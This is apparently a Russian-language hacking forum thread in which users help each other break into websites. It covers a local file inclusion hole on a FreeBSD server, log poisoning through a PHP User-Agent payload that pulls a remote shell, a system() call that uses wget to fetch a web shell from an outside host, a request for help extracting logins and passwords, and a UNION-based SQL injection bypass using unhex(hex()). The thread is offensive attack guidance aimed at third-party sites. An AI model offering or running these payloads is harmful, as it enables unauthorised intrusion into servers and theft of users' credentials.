у меня такая проблема...
есть lfi, на сайте стоит freebsd...
найшол по конфигу путь к логам:
/var/log/httpd-access.log
/var/log/httpd-error.log
как дальше правильно в них проинклудить шелл?

Потом инклудь логи...

ну там еще можно в юзер агент впихнуть типа
<?php include('http://supervasyahacker.com/supershell.txt'); ?>
но тут еще одна проблемка логи ведутся там с 2006 года и грузятся туеву хучу времени...

Я привел пример. Ну вот и жди это туеву хучу времени, иначе - никак.

вообщем присмотрелся я к логам и там вообще кроме 2006 года нету записей...
сложилось такое впечатление что сам файл присутствует, читать его можно но запись в него больше неведется
может ли такое быть?...

1. Да, может.
2. Вызываемые ресурсы могут быть ограничены.
3. Может у тебя не LFI, не в тот лог пишешь, какая-то фильтрация.
4. Вообще как бы скрипт выполняется при загрузке сразу же! Т.е. если знать сразу пути и права, то выполнив system(cd /home/777; wget http://shellsite.com/shell.txt -O shell.php); то можно не ждать конца загрузки логов.

И напоследок,как вытащить логины да пароли?)Ради чего и задавал вопрос.Самому не получается.

Народ подскажите. Есть сайт, есть sql-injection при таком запросе
-11+UNION+SELECT+1,2,3,4,5,6/* выводит числа 3 и 6 когда подставляю строковые данные ну например version() или любое другое слово выбивает ошибку подскажите что можно сделать с таким сайтом

омг, какой раз уже писалось =\
unhex(hex(version()))

_http://forum.antichat.ru/thread104591.html , см Вопрос №2